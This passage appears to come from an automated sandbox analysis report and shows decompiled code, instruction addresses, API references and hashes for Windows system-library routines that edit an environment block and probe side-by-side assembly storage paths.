												if(_t262 == 0) {
													goto L69;
												}
												_t262 =  *_t406 & 0x0000ffff;
											}
										}
										_v48 = _t406 + 2;
										_t390 = E6B4A35D0(_t351,  *( *[fs:0x30] + 0x18), 0, _t351);
										_t337 = _v48;
										_t365 = (_t337 - _v36 >> 1) + _t419 + _a20;
										__eflags = _t365;
										_t233 = 4 + _t365 * 2;
										_t406 = _v40;
										_t353 = _a20;
										goto L74;
									} else {
										L62:
										_t338 = _v29;
										L63:
										_t352 = _v44;
										L64:
										_v8 = 0xfffffffe;
										E6B4A35A1(_t230, _t338, _t352);
										_t226 = _v56;
										goto L65;
									}
								}
								_v64 = _v68;
								while(1) {
									L16:
									__eflags =  *_t406 - _t337;
									if( *_t406 == _t337) {
										break;
									}
									_t428 = _t406;
									_v76 = _t428;
									_t366 = 0;
									__eflags = 0;
									_v80 = 0;
									while(1) {
										_t406 = _t406 + 2;
										_v40 = _t406;
										_t266 =  *_t406 & 0x0000ffff;
										__eflags = _t266;
										if(_t266 == 0) {
											break;
										}
										__eflags = _t266 - 0x3d;
										if(_t266 != 0x3d) {
											continue;
										}
										_t366 = _t406 - _t428 >> 1;
										_v80 = _t366;
										_t406 = _t406 + 2;
										__eflags = _t406;
										_v40 = _t406;
										_t328 = _t406;
										_v52 = _t328;
										while(1) {
											__eflags =  *_t406 - _t337;
											if( *_t406 == _t337) {
												break;
											}
											_t406 = _t406 + 2;
											_v40 = _t406;
										}
										_t399 = _t406 - _t328;
										__eflags = _t399;
										_t400 = _t399 >> 1;
										_v64 = _t400;
										_v68 = _t400;
										break;
									}
									_t406 = _t406 + 2;
									_v40 = _t406;
									_t393 = _a8;
									_t267 = _t393;
									_v60 = _t393;
									_v84 = _t428;
									__eflags = _a12 - _t366;
									if(_a12 <= _t366) {
										_t366 = _a12;
									}
									_t367 = _t393 + _t366 * 2;
									_v104 = _t367;
									while(1) {
										__eflags = _t267 - _t367;
										if(_t267 >= _t367) {
											break;
										}
										_t381 =  *_t267 & 0x0000ffff;
										_v88 = _t381;
										_t401 = _t381 & 0x0000ffff;
										_v92 = _t401;
										_t382 =  *_t428 & 0x0000ffff;
										_v96 = _t382;
										_t438 = _t382 & 0x0000ffff;
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											L37:
											_t267 =  &(_t267[1]);
											_v60 = _t267;
											_t428 = _v84 + 2;
											_v84 = _t428;
											_t367 = _v104;
											continue;
										}
										_t367 =  *0x6b566d5c;
										__eflags = _t401 - 0x61;
										if(_t401 >= 0x61) {
											__eflags = _t401 - 0x7a;
											if(_t401 > 0x7a) {
												_t315 = ( *( *0x6b566d5c + (( *(_t367 + (_t401 >> 8) * 2) & 0x0000ffff) + (_t401 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t401 & 0x0000000f);
												_t367 =  *0x6b566d5c;
												_t401 =  *((intOrPtr*)(_t367 + _t315 * 2)) + _v88 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t401 = _t401 + 0xffffffe0;
											}
										}
										_v92 = _t401;
										__eflags = _t438 - 0x61;
										if(_t438 >= 0x61) {
											__eflags = _t438 - 0x7a;
											if(_t438 > 0x7a) {
												_t325 = ( *( *0x6b566d5c + (( *(_t367 + (_t438 >> 8) * 2) & 0x0000ffff) + (_t438 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0x0000000f);
												_t367 =  *0x6b566d5c;
												_t438 =  *((intOrPtr*)( *0x6b566d5c + _t325 * 2)) + _v96 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t438 = _t438 + 0xffffffe0;
											}
										}
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											goto L37;
										} else {
											_t395 = _t401 - _t438;
											__eflags = _t395;
											L32:
											__eflags = _t395;
											if(__eflags == 0) {
												_t343 = _t406;
												_v48 = _t343;
												while(1) {
													L44:
													_t268 =  *_t343 & 0x0000ffff;
													__eflags = _t268;
													if(_t268 == 0) {
														break;
													}
													while(1) {
														_t343 = _t343 + 2;
														_v48 = _t343;
														__eflags = _t268;
														if(_t268 == 0) {
															goto L44;
														}
														_t268 =  *_t343 & 0x0000ffff;
													}
												}
												_t337 = _t343 + 2;
												_v48 = _t337;
												_t269 = _a16;
												__eflags = _t269;
												if(_t269 == 0) {
													_push(_t337 - _t406 & 0xfffffffe);
													_push(_t406);
													_push(_v76);
													L89:
													memmove();
													_t443 = _t443 + 0xc;
													L90:
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6b568220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													goto L59;
												}
												_t429 = _a20;
												__eflags = _t429 - _v64;
												if(_t429 <= _v64) {
													_t430 = _t429 + _t429;
													memcpy(_v52, _t269, _t430);
													_t443 = _t443 + 0xc;
													_t369 = _v52 + _t430;
													 *_t369 = 0;
													_t370 = _t369 + 2;
													__eflags = _a20 - _v64;
													if(_a20 == _v64) {
														goto L90;
													}
													_t279 = _t337 - _t406 & 0xfffffffe;
													__eflags = _t279;
													_push(_t279);
													_push(_t406);
													_push(_t370);
													goto L89;
												}
												_t412 = _v36;
												_t281 = E6B4A35D0(_t367,  *( *[fs:0x30] + 0x18), 0, _t412);
												_t337 = _v48;
												_t376 = (_t337 - _t412 >> 1) - _v68 + _t429 + (_t337 - _t412 >> 1) - _v68 + _t429;
												_v76 = _t376;
												__eflags = _t376 - _t281;
												if(_t376 < _t281) {
													_t413 = _t429 + _t429;
													_t433 = _v52 + 2 + _t413;
													_t377 = _v40;
													_v80 = _t377;
													memmove(_t433, _t377, _t337 - _t377 & 0xfffffffe);
													_t434 = _t433 - 2;
													 *_t434 = 0;
													memcpy(_t434 - _t413, _a16, _t413);
													_t443 = _t443 + 0x18;
													__eflags = _a4;
													if(_a4 == 0) {
														_t378 = _v44;
														 *((intOrPtr*)(_t378 + 0x48)) = _v36;
														 *((intOrPtr*)(_t378 + 0x290)) = _v76;
														_t213 = _t378 + 0x294;
														 *_t213 =  *(_t378 + 0x294) + 1;
														__eflags =  *_t213;
													}
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6b568220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													_t406 = _v80;
													goto L59;
												}
												_t414 = E6B4A36CC(_t376);
												_v80 = _t414;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L106;
												}
												_t379 = _v36;
												_t436 = (_v52 - _t379 >> 1) + (_v52 - _t379 >> 1);
												memcpy(_t414, _t379, _t436);
												_t415 = _t414 + _t436;
												_t437 = _a20 + _a20;
												memcpy(_t415, _a16, _t437);
												_t416 = _t415 + _t437;
												 *_t416 = 0;
												memcpy(_t416 + 2, _v40, _t337 - _v40 & 0xfffffffe);
												_t443 = _t443 + 0x24;
												_t380 = _a4;
												_t299 = _v80;
												__eflags = _t380;
												if(_t380 != 0) {
													 *_t380 = _t299;
												} else {
													_t380 = _v44;
													 *(_t380 + 0x48) = _t299;
													 *((intOrPtr*)(_t380 + 0x290)) = _v76;
													_t92 = _t380 + 0x294;
													 *_t92 =  *(_t380 + 0x294) + 1;
													__eflags =  *_t92;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6b568220, 0, 0x234);
													_t443 = _t443 + 0xc;
												}
												__eflags = _v30;
												if(_v30 != 0) {
													E6B48EB70(_t380,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
													_v30 = 0;
												}
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
												_t406 = _v40;
												_t337 = _v48;
												goto L59;
											}
											if(__eflags < 0) {
												__eflags = _v72 - _t337;
												if(_v72 == _t337) {
													_v72 = _v76;
												}
											}
											goto L16;
										}
									}
									_t395 = _a12 - _v80;
									goto L32;
								}
								L59:
								_t351 = _v36;
								_t419 = _a12;
								goto L60;
							}
							_t329 =  *(_t229 + 0x1c);
							__eflags = _t329;
							if(_t329 == 0) {
								L103:
								_v29 = 1;
								goto L14;
							} else {
								_t330 = E6B486600(_t329);
								_t351 = _v36;
								__eflags = _t330;
								if(_t330 == 0) {
									goto L14;
								}
								goto L103;
							}
						}
						_v30 = 1;
						_v29 = 1;
						L6B48EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
						_t351 =  *(_t336 + 0x48);
						_v36 = _t351;
						goto L14;
					} else {
						_t333 = 0;
						__eflags = 0;
						_t403 = _a20;
						while(1) {
							__eflags = _t333 - _t403;
							if(_t333 >= _t403) {
								goto L12;
							}
							__eflags =  *((short*)(_t349 + _t333 * 2));
							if( *((short*)(_t349 + _t333 * 2)) == 0) {
								goto L100;
							} else {
								_t333 = _t333 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x6b4a2f75
0x6b4a2f77
0x6b4a2f7c
0x6b4a2f87
0x6b4a2f88
0x6b4a2f8e
0x6b4a2f93
0x6b4a2f98
0x6b4a2f9c
0x6b4a2fa2
0x6b4a2fa9
0x6b4a2fb0
0x6b4a2fb4
0x6b4a2fb8
0x6b4a2fbd
0x6b4e5e6d
0x6b4e5e6d
0x6b4a32f1
0x6b4a32f4
0x6b4a3302
0x6b4a3302
0x6b4a2fc3
0x6b4a2fca
0x00000000
0x6b4a2fd0
0x6b4a2fd0
0x6b4a2fd5
0x6b4a2fd9
0x6b4a2fe0
0x00000000
0x6b4a2fef
0x6b4a2fef
0x6b4a2ff0
0x00000000
0x6b4a2ff0
0x6b4a2fe0
0x6b4a2ff5
0x6b4a2ff8
0x6b4a2ffa
0x6b4a3013
0x6b4a3019
0x6b4a301c
0x6b4a301f
0x6b4a3022
0x6b4a3025
0x6b4a302c
0x6b4a3033
0x6b4a3036
0x6b4a3038
0x6b4a34db
0x6b4a34dd
0x6b4a34e0
0x6b4a34e3
0x6b4a305a
0x6b4a305a
0x6b4a3061
0x6b4a3063
0x6b4a3066
0x6b4a3068
0x6b4a306b
0x6b4a306d
0x6b4a32cd
0x6b4a32cd
0x6b4a32d0
0x6b4a32d2
0x6b4a3478
0x6b4a347a
0x6b4a347a
0x6b4a32d8
0x6b4a32da
0x6b4a3305
0x6b4a3309
0x00000000
0x00000000
0x6b4a330b
0x6b4a330d
0x6b4e5f99
0x6b4e5f9f
0x6b4e5fa6
0x6b4a3365
0x6b4a3365
0x6b4a3368
0x6b4a336a
0x6b4a3503
0x6b4a3513
0x6b4a351b
0x6b4a3522
0x6b4a3527
0x6b4a352a
0x6b4a352d
0x6b4a352f
0x6b4a353d
0x6b4a3542
0x6b4a3542
0x6b4a3545
0x6b4a3547
0x6b4a354f
0x6b4a3552
0x6b4a3555
0x6b4a355b
0x6b4a3563
0x6b4a356b
0x6b4a356d
0x6b4a3570
0x6b4a3572
0x6b4a3578
0x6b4a357b
0x6b4a357e
0x00000000
0x6b4a3584
0x6b4a3584
0x6b4a358a
0x6b4a358d
0x6b4a3590
0x6b4a3596
0x00000000
0x6b4a3596
0x6b4a357e
0x6b4a3377
0x6b4a3379
0x6b4a337c
0x6b4a337e
0x6b4e5f0c
0x6b4e5f0c
0x00000000
0x6b4e5f0c
0x6b4a3384
0x6b4a3386
0x6b4e5fad
0x6b4a338c
0x6b4a338e
0x6b4a3391
0x6b4a3391
0x6b4a3393
0x6b4a339b
0x6b4a33a0
0x6b4a33a3
0x6b4a33a3
0x6b4a33a6
0x6b4a33a9
0x6b4a33af
0x6b4a33b7
0x6b4a33c2
0x6b4a33c9
0x6b4a33cc
0x6b4a33cf
0x6b4a33d5
0x6b4a33dd
0x6b4a33e8
0x6b4a33ec
0x6b4a33ef
0x6b4a33f2
0x6b4a33f4
0x6b4e5fb6
0x6b4e5fb9
0x6b4a33fa
0x6b4a3402
0x6b4a340a
0x6b4a340d
0x6b4a340f
0x6b4a341d
0x6b4a3422
0x6b4a340f
0x6b4a3425
0x6b4a3428
0x6b4a342b
0x6b4a342d
0x6b4a34ee
0x6b4a3433
0x6b4a3433
0x6b4a3436
0x6b4a343c
0x6b4a3442
0x6b4a3442
0x6b4a3442
0x6b4a3442
0x6b4a3448
0x6b4a344c
0x6b4a3457
0x6b4a345c
0x6b4a345c
0x6b4a346e
0x00000000
0x6b4a346e
0x6b4a3313
0x6b4a3316
0x6b4a3316
0x6b4a3316
0x6b4a3319
0x6b4a331c
0x00000000
0x00000000
0x6b4a3320
0x6b4a3320
0x6b4a3323
0x6b4a3326
0x6b4a3329
0x00000000
0x00000000
0x6b4a332b
0x6b4a332b
0x6b4a3320
0x6b4a3333
0x6b4a3347
0x6b4a3349
0x6b4a3355
0x6b4a3355
0x6b4a3358
0x6b4a335f
0x6b4a3362
0x00000000
0x6b4a32dc
0x6b4a32dc
0x6b4a32dc
0x6b4a32df
0x6b4a32df
0x6b4a32e2
0x6b4a32e2
0x6b4a32e9
0x6b4a32ee
0x00000000
0x6b4a32ee
0x6b4a32da
0x6b4a3076
0x6b4a3080
0x6b4a3080
0x6b4a3080
0x6b4a3083
0x00000000
0x00000000
0x6b4a3089
0x6b4a308b
0x6b4a308e
0x6b4a308e
0x6b4a3090
0x6b4a3093
0x6b4a3093
0x6b4a3096
0x6b4a3099
0x6b4a309c
0x6b4a309f
0x00000000
0x00000000
0x6b4a30a1
0x6b4a30a4
0x00000000
0x00000000
0x6b4a30aa
0x6b4a30ac
0x6b4a30af
0x6b4a30af
0x6b4a30b2
0x6b4a30b5
0x6b4a30b7
0x6b4a30c0
0x6b4a30c0
0x6b4a30c3
0x00000000
0x00000000
0x6b4a30c5
0x6b4a30c8
0x6b4a30c8
0x6b4a30cf
0x6b4a30cf
0x6b4a30d1
0x6b4a30d3
0x6b4a30d6
0x00000000
0x6b4a30d6
0x6b4a30d9
0x6b4a30dc
0x6b4a30df
0x6b4a30e2
0x6b4a30e4
0x6b4a30e7
0x6b4a30ea
0x6b4a30ed
0x6b4a3153
0x6b4a3153
0x6b4a30ef
0x6b4a30f2
0x6b4a30f5
0x6b4a30f5
0x6b4a30f7
0x00000000
0x00000000
0x6b4a30fd
0x6b4a3100
0x6b4a3103
0x6b4a3106
0x6b4a3109
0x6b4a310c
0x6b4a310f
0x6b4a3112
0x6b4a3115
0x6b4a3117
0x6b4a3158
0x6b4a3158
0x6b4a315b
0x6b4a3161
0x6b4a3164
0x6b4a3167
0x00000000
0x6b4a3167
0x6b4a3119
0x6b4a311f
0x6b4a3122
0x6b4a317a
0x6b4a317d
0x6b4e5eb7
0x6b4e5eb9
0x6b4e5ec7
0x6b4e5eca
0x6b4a3183
0x6b4a3183
0x6b4a3183
0x6b4a317d
0x6b4a3124
0x6b4a3127
0x6b4a312a
0x6b4a316c
0x6b4a316f
0x6b4e5ef1
0x6b4e5ef3
0x6b4e5f01
0x6b4e5f04
0x6b4a3175
0x6b4a3175
0x6b4a3175
0x6b4a316f
0x6b4a312c
0x6b4a312f
0x6b4a3131
0x00000000
0x6b4a3133
0x6b4a3133
0x6b4a3133
0x6b4a3135
0x6b4a3135
0x6b4a3137
0x6b4a3190
0x6b4a3192
0x6b4a3195
0x6b4a3195
0x6b4a3195
0x6b4a3198
0x6b4a319b
0x00000000
0x00000000
0x6b4a31a0
0x6b4a31a0
0x6b4a31a3
0x6b4a31a6
0x6b4a31a9
0x00000000
0x00000000
0x6b4a31ab
0x6b4a31ab
0x6b4a31a0
0x6b4a31b0
0x6b4a31b3
0x6b4a31b6
0x6b4a31b9
0x6b4a31bb
0x6b4a34fc
0x6b4a34fd
0x6b4a34fe
0x6b4a34b0
0x6b4a34b0
0x6b4a34b5
0x6b4a34b8
0x6b4a34b8
0x6b4a34bc
0x6b4a34ce
0x6b4a34d3
0x6b4a34d3
0x00000000
0x6b4a34bc
0x6b4a31c1
0x6b4a31c4
0x6b4a31c7
0x6b4a3482
0x6b4a3489
0x6b4a348e
0x6b4a3494
0x6b4a3498
0x6b4a349b
0x6b4a34a1
0x6b4a34a4
0x00000000
0x00000000
0x6b4a34aa
0x6b4a34aa
0x6b4a34ad
0x6b4a34ae
0x6b4a34af
0x00000000
0x6b4a34af
0x6b4a31cd
0x6b4a31dc
0x6b4a31e1
0x6b4a31ef
0x6b4a31f1
0x6b4a31f4
0x6b4a31f6
0x6b4e5f1f
0x6b4e5f28
0x6b4e5f2c
0x6b4e5f2f
0x6b4e5f3a
0x6b4e5f42
0x6b4e5f47
0x6b4e5f51
0x6b4e5f56
0x6b4e5f59
0x6b4e5f5d
0x6b4e5f5f
0x6b4e5f65
0x6b4e5f6b
0x6b4e5f71
0x6b4e5f71
0x6b4e5f71
0x6b4e5f71
0x6b4e5f77
0x6b4e5f7b
0x6b4e5f89
0x6b4e5f8e
0x6b4e5f8e
0x6b4e5f91
0x00000000
0x6b4e5f91
0x6b4a3201
0x6b4a3203
0x6b4a3206
0x6b4a3208
0x00000000
0x00000000
0x6b4a3211
0x6b4a3218
0x6b4a321e
0x6b4a3226
0x6b4a322b
0x6b4a3233
0x6b4a323b
0x6b4a323f
0x6b4a3250
0x6b4a3255
0x6b4a3258
0x6b4a325b
0x6b4a325e
0x6b4a3260
0x6b4e5f18
0x6b4a3266
0x6b4a3266
0x6b4a3269
0x6b4a326f
0x6b4a3275
0x6b4a3275
0x6b4a3275
0x6b4a3275
0x6b4a327b
0x6b4a327f
0x6b4a328d
0x6b4a3292
0x6b4a3292
0x6b4a3295
0x6b4a3299
0x6b4a32a4
0x6b4a32a9
0x6b4a32a9
0x6b4a32bc
0x6b4a32c1
0x6b4a32c4
0x00000000
0x6b4a32c4
0x6b4a3139
0x6b4a313f
0x6b4a3142
0x6b4a314b
0x6b4a314b
0x6b4a3142
0x00000000
0x6b4a3139
0x6b4a3131
0x6b4a318b
0x00000000
0x6b4a318b
0x6b4a32c7
0x6b4a32c7
0x6b4a32ca
0x00000000
0x6b4a32ca
0x6b4e5e77
0x6b4e5e7a
0x6b4e5e7c
0x6b4e5e8f
0x6b4e5e8f
0x00000000
0x6b4e5e7e
0x6b4e5e7f
0x6b4e5e84
0x6b4e5e87
0x6b4e5e89
0x00000000
0x00000000
0x00000000
0x6b4e5e89
0x6b4e5e7c
0x6b4a303e
0x6b4a3042
0x6b4a304f
0x6b4a3054
0x6b4a3057
0x00000000
0x6b4a2ffc
0x6b4a2ffc
0x6b4a2ffc
0x6b4a2ffe
0x6b4a3001
0x6b4a3001
0x6b4a3003
0x00000000
0x00000000
0x6b4a3005
0x6b4a300a
0x00000000
0x6b4a3010
0x6b4a3010
0x00000000
0x6b4a3010
0x6b4a300a
0x00000000
0x6b4a3001
0x6b4a2ffa

APIs

RtlEnterCriticalSection.1105(?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A304F
RtlSizeHeap.1105(?,00000000,00000000,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A31DC
memcpy.1105(00000000,00000000,00000000,?,00000000,00000000,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A321E
memcpy.1105(00000000,6B5679A0,00000000,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3233
memcpy.1105(-00000002,00000000,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3250
memset.1105(6B568220,00000000,00000234,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE), ref: 6B4A328D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A32A4
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE), ref: 6B4A32BC
RtlSizeHeap.1105(?,00000000,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3342
memcpy.1105(00000000,00000000,00000000,?,00000000,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A339B
memcpy.1105(00000000,?,00000000,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A33B7
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A33DD
memcpy.1105(-00000002,00000000,?,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE), ref: 6B4A3402
memset.1105(6B568220,00000000,00000234,?,?,?,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000), ref: 6B4A341D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28), ref: 6B4A3457
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0000003A,6B5679A0,?,00000000), ref: 6B4A346E
memcpy.1105(00000000,6B5679A0,00000000,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3489
memmove.1105(6B4A2F61,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A34B0
memset.1105(6B568220,00000000,00000234,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A34CE
memmove.1105(00000002,00000000,?,?,00000000,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3513
memcpy.1105(00000000,?,00000000,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3522
memset.1105(6B568220,00000000,00000234,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A353D
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4A3563
RtlIsCriticalSectionLockedByThread.1105(00000000,?,0000003A,6B5679A0,?,00000000,6B4C17F0,6B54FF28,000000FE,?,6B4A2F61), ref: 6B4E5E7F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CriticalHeapSectionmemset$FreeLeaveSizememmove$EnterLockedThread
String ID:
API String ID: 3971764801-0
Opcode ID: e1770f9039a4d76d83e81e236a1b148c2e281aa56ec34e5ece63fcfad0cecf37
Instruction ID: 33275280c2cb584104d350be598c6fe43e92eeab9235962fb881e004d9c2876a
Opcode Fuzzy Hash: e1770f9039a4d76d83e81e236a1b148c2e281aa56ec34e5ece63fcfad0cecf37
Instruction Fuzzy Hash: 2F327076E002199FCB24CFA8C851FAEBBB5FF55704F14416DE815AB394E7399902CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ACF6A, Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 321
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B4ACF6A(signed short* __edx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, signed short _a16, signed int* _a20) {
				signed int _v12;
				char _v536;
				signed int _v537;
				signed int* _v544;
				signed int _v548;
				intOrPtr _v552;
				void* _v556;
				signed short _v560;
				signed short _v564;
				char _v568;
				signed short* _v572;
				signed short* _v576;
				intOrPtr _v580;
				signed short _v584;
				void* _v588;
				signed short _v592;
				void* _v596;
				intOrPtr _v600;
				signed short _v604;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				char _v632;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t101;
				void* _t103;
				signed short _t113;
				signed short _t116;
				void _t119;
				char _t129;
				intOrPtr _t131;
				void* _t137;
				intOrPtr _t145;
				short* _t147;
				signed int _t157;
				signed short* _t159;
				void* _t160;
				signed short* _t161;
				signed short _t165;
				intOrPtr _t166;
				signed short _t169;
				intOrPtr _t172;
				void* _t173;
				intOrPtr _t174;
				short _t175;
				void* _t181;
				void* _t189;
				void* _t190;
				signed short* _t192;
				void* _t193;
				void* _t194;
				void* _t197;
				signed short _t199;
				signed int _t200;

				_v12 =  *0x6b56d360 ^ _t200;
				_t101 = _a8;
				_t166 = _a12;
				_v576 = __edx;
				_v584 = _a16;
				_t192 = _a4;
				_v544 = _a20;
				_v548 = _v548 & 0;
				_t189 = 0;
				_v560 = 0;
				_v537 = 0;
				_v568 = 0;
				_v564 = 0;
				_v588 = 0;
				_t187 = _v584;
				_v572 = _t192;
				_v580 = _t101;
				_v552 = _t166;
				_v556 = 0;
				if(_t187 != 0) {
					 *_t187 =  *_t187 & 0;
				}
				_t159 = _v576;
				if(_v544 != _t189) {
					 *_v544 =  *_v544 & _t189;
					_t166 = _v552;
				}
				if(_t159 == 0 || _t192 == 0 || _t101 == 0 || _t166 == 0 || _t187 == 0 || _v544 == _t189) {
					_push(_v544);
					_push(_t187);
					_push(_t166);
					_push(_t101);
					_push(_t192);
					_push(_t159);
					_push(0);
					E6B505720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Flags:               0x%lx\nSXS:  Root:                %p\nSXS:  AssemblyDirectory:   %p\nSXS:  PreAllocatedString:  %p\nSXS:  DynamicString:       %p\nSXS:  StringUsed:          %p\nSXS:  OpenDirectoryHandle: %p\n", "RtlpProbeAssemblyStorageRootForAssembly");
					_t193 = 0xc000000d;
					goto L24;
				} else {
					_t169 =  *_t159 & 0x0000ffff;
					_t187 = _t169;
					if(_t169 != 0) {
						_t157 =  *(_t159[2] + (_t169 >> 1) * 2 - 2) & 0x0000ffff;
						_t181 = 0x5c;
						_t169 =  *_t159 & 0x0000ffff;
						if(_t157 != _t181) {
							if(_t157 != 0x2f) {
								_v537 = 1;
								_t187 = _t187 + 2;
							}
						}
					}
					_t113 = ( *_t192 & 0x0000ffff) + 4 + _t187;
					_v592 = _t113;
					if(_t113 > 0xfffe) {
						_push("SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.\n");
						_push(0);
						_push(0x33);
						E6B505720();
						_t193 = 0xc0000106;
						L26:
						if(_t189 != 0 && _t189 !=  &_v536) {
							E6B47AD30(_t189);
						}
						L28:
						if(_v548 != 0) {
							_push(_v548);
							E6B4B95D0();
						}
						_pop(_t190);
						_pop(_t194);
						_pop(_t160);
						return E6B4BB640(_t193, _t160, _v12 ^ _t200, _t187, _t190, _t194);
					}
					if(_t113 > 0x208) {
						_t195 = _t113 & 0x0000ffff;
						_t189 = E6B493A1C(_t113 & 0x0000ffff);
						_v556 = _t189;
						if(_t189 != 0) {
							_t116 =  *_t159 & 0x0000ffff;
							goto L15;
						}
						E6B505720(0x33, _t115, "SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.\n", _t195);
						_t193 = 0xc0000017;
						goto L28;
					} else {
						_t189 =  &_v536;
						_t116 = _t169 & 0x0000ffff;
						_v556 = _t189;
						L15:
						memcpy(_t189, _t159[2], _t116 & 0x0000ffff);
						_t197 = _t189 + ( *_t159 & 0x0000ffff);
						if(_v537 != 0) {
							_t119 = 0x5c;
							 *_t197 = _t119;
							_t197 = _t197 + 2;
						}
						_t161 = _v572;
						memcpy(_t197, _t161[2],  *_t161 & 0x0000ffff);
						 *((short*)(_t197 + ( *_t161 & 0x0000ffff))) = 0;
						_t165 = (_v537 & 0x000000ff) + (_v537 & 0x000000ff) +  *_v572 +  *_v576;
						_v560 = _t165;
						if(E6B486A00(_t189,  &_v568, 0,  &_v608) == 0) {
							E6B505720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n", _t189);
							_t193 = 0xc000003a;
							goto L26;
						} else {
							_t129 = _v608;
							_t187 = _v564;
							_v588 = _v564;
							if(_t129 != 0) {
								_v568 = _t129;
								_v564 = _v604;
								_t131 = _v600;
							} else {
								_t131 = 0;
							}
							_v628 = _t131;
							_push(0x21);
							_v624 =  &_v568;
							_push(3);
							_push( &_v640);
							_v632 = 0x18;
							_push( &_v632);
							_push(0x100020);
							_v620 = 0x40;
							_push( &_v548);
							_v616 = 0;
							_v612 = 0;
							_t193 = E6B4B9830();
							_t137 = _v596;
							if(_t137 != 0) {
								asm("lock xadd [eax], ecx");
								if(0xffffffff == 0) {
									_push( *((intOrPtr*)(_t137 + 4)));
									E6B4B95D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v596);
									_t189 = _v556;
									_t165 = _v560;
								}
							}
							if(_t193 < 0) {
								if(_t193 == 0xc000000f || _t193 == 0xc0000034 || _t193 == 0xc000003a) {
									_t193 = 0xc0150004;
								} else {
									_push(_t193);
									E6B505720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n", _t189);
								}
								goto L24;
							} else {
								_t172 = _v580;
								_t199 = _v592;
								if(_t199 > ( *(_t172 + 2) & 0x0000ffff)) {
									if(_t189 ==  &_v536) {
										_t173 = E6B493A1C(_t199);
										 *(_v552 + 4) = _t173;
										if(_t173 != 0) {
											memcpy(_t173, _t189, _t165 & 0x0000ffff);
											_t145 = _v552;
